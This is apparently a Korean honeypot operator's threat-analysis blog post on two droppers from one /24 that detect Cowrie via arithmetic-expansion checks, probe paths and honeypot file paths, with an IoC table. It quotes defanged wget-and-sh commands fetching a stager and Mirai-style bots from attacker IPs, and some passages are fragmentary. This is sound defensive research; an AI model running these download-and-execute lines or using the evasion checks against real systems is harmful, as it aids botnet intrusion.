서론
집에서 운영하는 실험실(lab)에서는 인터넷상에 T-Pot(여러 하니팟을 모아 놓은 것)을 설치하고 공격을 관측하고 있습니다.
SSH와 telnet의 입구는 Cowrie라는 하니팟으로, 로그인시킨 후 입력된 명령어나 다운로드된 파일을 기록합니다.
하니팟이란 '실제 서버인 척'하는 도구입니다.
그렇다면 공격자의 시각에서 볼 때, 그 가짜 행세가 간파될 수 있을까요?
2026년 10월, 하니팟을 식별하는 메커니즘이 처음부터 내장된 투하 스크립트를 관측했습니다.
게다가 스크립트의 주석에는 그 의도가 그대로 적혀 있었습니다.
본문에서는 그 수법과, 기록을 읽다가 빠지기 쉬운 함정, 그리고 같은 범위에서 온 다른 검체(이 역시 하니팟을 식별하려 했던 것)에 대해 다룹니다.
조사는 Claude Code와 함께 진행했습니다. 검체는 실행하지 않았으며 C2에도 접근하지 않았습니다.
전제: Cowrie는 '쉘인 척'하고 있다
Cowrie는 실제 쉘을 구동하는 것이 아닙니다.
ls나 uname, wget과 같이 자주 사용되는 명령어들을 Python으로 흉내 내고 있을 뿐입니다.
따라서, 실제 쉘이라면 당연히 할 수 있는 일이라도, 흉내 내지 않은 기능은 실패하게 됩니다.
본문의 주인공은 바로 그 '흉내 내지 않은 기능' 중 하나입니다.
실제 쉘이라면 산술 전개(arithmetic expansion)를 통해 560으로 표시됩니다.
Cowrie는 이를 전개할 수 없어, (80*7이라는 명령어가 발견되지 않음이라는 실패로 기록합니다.
사례 1: '곱셈'으로 하니팟인지 확인하기
무슨 일이 일어났나
상대방은 독일의 사업자(AS51396)의 IP 176[.]65[.]134[.]119였습니다.
2일 동안 하니팟의 여러 입구를 순차적으로 시도하고 있었습니다.
| 시간 (JST) | 입구 | 수행한 행동 |
|---|
| 10-04 13:04 | ADB(5555) | 연결만. 명령어 없음 |
| ... | GET / , GET /__probe_84390_201 GET /__probe_alt , POST / (본문 0) 등 | |
| 10-06 01:17:59 | SSH(Cowrie) | root로 로그인 →→ echo $((80*7)) echo MK641391 → uname -m → 7초 만에 연결 끊김 |
| 10-06 01:18:04 | SSH(Cowrie) | 스크립트를 다운로드하여 실행 → 22초 만에 연결 끊김 |
| 10-06 01:19 | telnet | 로그인 실패 2회 |
| 10-06 01:36・10:24 | HTTP(3000) | GET /__probe_<난수>_201 (난수는 매번 다름) |
SSH의 첫 번째 시도에서는 로그인 직후에 echo $((80*7))을 입력하고 7초 만에 연결이 끊겼습니다.
두 번째 시도에서는 다음 스크립트를 다운로드하여 실행했습니다.
cd /tmp
wget -qO /tmp/.i.sh hxxp://176[.]65[.]134[.]119:80/agent_i.sh # 실패에 대비해 curl도
sh /tmp/.i.sh 176[.]65[.]134[.]119:80 hxxp://176[.]65[.]134[.]119:80 x86_64 39 74
마지막 두 숫자(39와 74)에 주목해 주세요. 이것이 '곱셈'의 재료입니다.
스크립트 내용
Cowrie는 다운로드된 파일을 저장합니다.
획득한 스크립트(agent_i.sh · 1,971 바이트)를 디스크에 평문으로 쓰지 않고 읽었습니다. 핵심만 추출합니다.
# agent_i.sh — minimal hang-proof installer for telnet-reached hosts.
# Usage: sh agent_i.sh C2HOST:PORT [BASEURL] [ARCHHINT]
# Design rules learned live:
...
PROOF 주석을 번역하면 다음과 같습니다.
두 개의 난수의 곱을 표시할 수 있는 것은, 산술 전개를 실제로 수행하는 쉘뿐이다.
스크립트의 문자열을 그대로 반환하는 에뮬레이터(또는 $A를 전개할 수 없는 것)로는 만들 수 없습니다.
즉,
호출할 때 난수 2개를 전달하고 (이번에는 39와 74)
- 스크립트 안에서 그 곱(2,886)을 계산하게 하여 반환시키고
- 공격자 측에서 돌아온 값이 맞는지 대조하는
이런 구조입니다. 값이 맞지 않으면 상대는 에뮬레이터, 즉 하니팟이라고 판단할 수 있습니다.
첫 번째 SSH에서 친 echo $((80*7))도 같은 확인 방법의 간이 버전일 것입니다.
Cowrie가 간파되다
결과적으로, Cowrie는 echo $((80*7))도 PROOF=$(( N1 * N2 ))도 전개하지 못하고, 둘 다 명령어 실패로 기록했습니다.
그리고 이 상대는 그 이후로는 SSH에 오지 않았습니다. 간파되었을 가능성이 높다고 생각합니다.
본체(agent_<아키텍처>)는 가져가지 못했습니다.
Cowrie가 스크립트 함수의 wget까지 실행하지 않기 때문입니다.
HTTP 수신창에서도 '함정인지'를 시험했다
SSH 전날, HTTP(3000번)에서는 다음과 같은 요청이 왔습니다.
GET /__probe_84390_201
GET /__probe_alt
존재하지 않아야 할 경로입니다.
진짜 웹 서버라면 404를 반환하겠지만, 어떤 경로에도 같은 응답을 반환하는 하니팟이라면, 여기에서도 성공이 돌아옵니다.
경로 끝의 _201은 '이 응답 코드가 오면 함정'이라는 표시일지도 모릅니다 (추측입니다).
스크립트에서 읽을 수 있는 것들
| 알 수 있는 점 | 근거 |
|---|
| 하니팟을 피하는 것이 설계 목표가 되고 있다 | PROOF의 주석 |
| 주요 목표는 telnet으로 접속 가능한 임베디드 기기이다 | 서두 설명, 8가지 아키텍처(MIPS 계열이 4종) 등 '고정되지 않음'에 대한 집착 |
| 이 스크립트는 선별과 시험까지만 하고 상주시키지 않는다 | --selftest를 실행하여 결과를 반환하는 것으로 끝난다. 상주는 C2로부터의 다음 지시로 보인다 |
| 운영 규모의 단서 | |
따라서, 256자를 초과하는 명령어(30일간 전체의 4.7%)는 처음부터 확인하지 못했던 것입니다.
, uname -m
)
은 흔한 형태에 묻히고 - 긴 명령어(위의 1,321자)는 애초에 집계에 들어가지 않습니다.
이 허점을 수정한 직후, 새롭게 '최초 발견'된 것이 바로 이 상대였습니다.
사례 2: 같은 범위에서 온, 하니팟을 확인하려는 Mirai 계열 봇
같은 시기에 바로 옆 IP(176[.]65[.]134[.]121,
같은 /24)에서도 다른 투하가 있었습니다.
이 역시 하니팟을 구별하려고 하고 있었습니다.
도착 방식
m=$(uname -m) # arm / aarch64 / mipsel / mips / x86_64로 반올림
wget -q hxxp://176[.]65[.]134[.]121:6901PROXYONUPDATE:7352/bot.$m -O /tmp/.z # ← 대체 잊음
wget -q hxxp://176[.]65[.]134[.]121:8080/bot.$m -O /tmp/.z
첫 번째 줄은, PROXYONUPDATE라는 문자열이 URL에 남아 있어 올바른 URL이 아닙니다.
템플릿 대체를 잊은 채 흘려보낸 제작자의 부주의함이 보입니다.
다른 세션에서는 다음 3가지를 한 세트로 가져갔습니다.
| 역할 | 내용 |
|---|
stub.<아키텍처> | 작은 ELF (알려진 샘플) |
<난수>.<아키텍처>.se | 시작 3바이트 이후는 거의 난수(암호문) |
<난수>.<아키텍처>.sk | 32자리 16진 문자열 (키로 추정) |
stub 안에는 /tmp/.sk,
/tmp/.se,
/tmp/.z라는 문자열이 있으며, stub이 키로 본체를 복호화하여 /tmp/.z에 쓰기 하는 구조로 보입니다.
파일명은 매번 난수이며, 본체와 키를 다른 파일로 배포합니다. 해시 비교나 정적 분석을 피하려는 장치입니다.
키는 손에 가지고 있었기 때문에, 표준 암호(RC4, AES의 각 모드, ChaCha20 등)로 메모리 위에서만 복호화를 시도했습니다.
67가지를 시도했지만, 어느 것도 열리지 않았습니다. 독자적인 절차이거나, 키로부터 다른 키를 만드는 처리가 있다고 보고 있습니다. stub을 역어셈블하여 복호화 절차를 읽으면 풀릴 수도 있을 것입니다.
봇 본체는 하니팟의 '파일'을 찾고 있었다
별도로 보존했던 Mirai 계열 봇(x86-64) 문자열에는 다음 경로들이 나열되어 있었습니다.
/etc/cowrie
/etc/dionaea
/etc/honeyd
...
Cowrie, Dionaea, honeyd와 같은 하니팟 설정 파일, 외부와의 통신을 기록하는 도구(interactsh), 그리고 가상 머신의 흔적입니다.
감염된 곳이 하니팟이나 분석 환경이라면, 아무것도 하지 않고 떠나버릴 것입니다.
사례 1이 '행동'으로 구별했다면, 이 경우는 '파일의 존재 여부'로 구별하고 있습니다.
그 외에도, /tmp/mirai,
/tmp/gafgyt와 같은 다른 봇을 추방하기 위한 경로나, 라우터 웹 관리 화면의 취약점을 노리는 경로(/setup.cgi,
/cgi-bin/...)가 있었습니다.
출처에 대하여: 말할 수 있는 것 · 말할 수 없는 것
두 사례는 같은 /24에서 왔으며, 둘 다 하니팟을 구별하려고 했습니다.
그렇다면, 같은 상대일까요?
| 말할 수 있는 것 | 말할 수 없는 것 |
|---|
| 사례 1은 Cowrie와 같은 에뮬레이터를 의식하여 피하는 제작자 | |
| 기존 봇넷 이름과의 일치 (OpenCTI에도 연결 없음) | |
| 사례 1은 임베디드 기기를 여러 아키텍처로 노리고, 스테이저·본체·C2를 하나의 IP에서 운영하고 있다 | 사례 1 본체의 기능 (획득하지 못함) |
| 두 사례는 같은 /24이며, 수법의 경향(하니팟을 피하는 것 · 다중 아키텍처로 배포하는 것)이 유사하다 | 같은 상대인지 여부. 이 /24는 2025년 10월 이후 많은 IP가 악용 보고에 올라 있는 범위라, 가깝다는 것은 증거로서 약함 |
| — | 조작자의 소재 |
사례 1의 관측은 8월~10월 사이 수집된 로그에서, 동일한 흔적(예: agent_i.sh, SELFTEST_OK, /__probe_)을 사용한 IP가 이 하나뿐이었습니다.
다만, agent_i.sh는 abuse.ch의 URLhaus에 cowrie와 honeypot 레이블로 올라와 있었습니다.
이는 다른 Cowrie 운영자들도 같은 것을 보고 있다는 의미입니다.
하니팟을 운영하는 측으로서
Cowrie의 한계를 알아두기
Cowrie는 $(( ))를 전개할 수 없습니다. 이 점을 확인하면 확실하게 구별할 수 있습니다.
이는 Cowrie의 설계상 한계이며, T-Pot의 '진짜 같은' 수준에도 천장이 있다는 의미입니다.
Cowrie를 수정하여 산술 전개를 지원하도록 할 수도 있지만, 확인 방법은 얼마든지 바뀔 수 있어 끝없는 싸움이 되기 쉽습니다. 수정할지 여부는 아직 결정하지 않았습니다.
구별하려는 행위 자체가 흔적이 된다
역으로 말하면, echo $((숫자*숫자))를 입력하는 상대는 하니팟을 피하려고 하는 숙련된 상대입니다.
대량으로 오는 무차별적인 봇과는 구분해서 볼 가치가 있습니다.
이번과 같은 '짧은 확인 명령어와 그 직후의 연결 끊김' 조합은 요약본에서 강조할 가치가 있을 것 같습니다(아직 시스템에는 반영하지 않았습니다).
가져올 수 없는 것은 무리하게 가지 않기
본체 바이너리는 C2에 접속하면 얻을 수도 있습니다.
하지만 그것은 공격자에게 '여기에 조사하는 사람이 있다'고 알리는 것이며, 스스로 공격자의 기반 시설에 손대는 행위입니다.
이번에는 확보한 범위 내에서 말할 수 있는 것만 작성했습니다.
IoC (침해 지표)
| 종류 | 값 |
|---|
| 사례 1: 공격 출처 = C2 | 176[.]65[.]134[.]119 (AS51396) |
| 사례 1: 스테이저 | hxxp://176[.]65[.]134[.]119:80/agent_i.sh |
| 사례 1: 스테이저의 SHA-256 | 2c2511a8da4d5d01ad672f105b9b46b6ccc26754bc6f34b5577673078e3c6681 |
| 사례 1: 본체 (미확보) | hxxp://176[.]65[.]134[.]119:80/agent_<arch> (arch = x86_64 i686 aarch64 armv7 mipsle mips mips64le mips64 ) |
| 사례 1: 호스트상의 흔적 | /tmp/.i.sh ・/tmp/.g_<arch> ・/tmp/.g_out ・프로세스명 .g_* /.gsvc |
| 사례 1: 응답의 흔적 | SELFTEST_OK ・STAGE_OK STAGED <arch> PROOF=<n> [C2_OK] ・STAGE_FAIL ・echo MK<6자리> |
| 사례 1: HTTP에서의 확인 | GET /__probe_<5자리>_201 ・GET /__probe_alt |
| 사례 2: 배포처 | 176[.]65[.]134[.]121 (:8080/bot.<arch> ・stub.<arch> ・<난수>.<arch>.se /.sk ) |
| 사례 2: stub (x86_64)의 SHA-256 | 37dd737a342729c7b8c4e6f28140f2ff977a433793482b6bd488efd56a20812e |
| 사례 2: stub (arm)의 SHA-256 | 5492f9606bf12add8b8414b224e8272b7d422baedbd951e8874a4bda0cb716bc |
사례 2: 키 파일(.sk)의 SHA-256 | 36268935c13ed4cc3ec2adffca1db7fcc0ec3478717c1444fe30e6a562914c80 ・b64268d2cdcf25dd225c661dbccbd38c7f6cf40b09dbb6bf18f15d4744f88201 |
요약
⚠️ [IMG:N]
하니팟을 간파하는 메커니즘을 처음부터 내장한 투하 스크립트가 있습니다. 무작위 숫자 2개의 곱셈을 계산하게 하여, 산술 전개가 불가능한 에뮬레이터를 식별합니다. 주석에 그 의도가 적혀 있었습니다.
Cowrie는 이러한 확인 방법이 제시되면 간파당할 수 있습니다. $(())를 전개하지 못하기 때문입니다. HTTP에서도 존재하지 않는 경로에 대한 응답으로 '무엇이든 받아들이는 함정'인지 시험하는 봇 중에는, 하니팟의 설정 파일이나 가상 머신의 흔적을 찾는 것도 있습니다.
Cowrie의 긴 입력은 스크립트를 모방한 기록을 남기기도 합니다. 직전의 sh를 확인합니다.
로그에 구멍이 생기자, 이전에는 보이지 않던 상대가 나타났습니다. 보이지 않는 것이 오지 않았다는 뜻은 아닙니다. 단지 가까운 IP라는 이유만으로는 같은 상대를라고 할 수 없습니다.
hㅏ니팟은 간파당하지 않는 것보다, 간파하려는 움직임 자체를 관측할 수 있다는 데 가치가 있을지도 모릅니다.
이번 상대는 Cowrie를 간파하고 떠났지만, 그 수법은 기록으로 남았습니다.
Discussion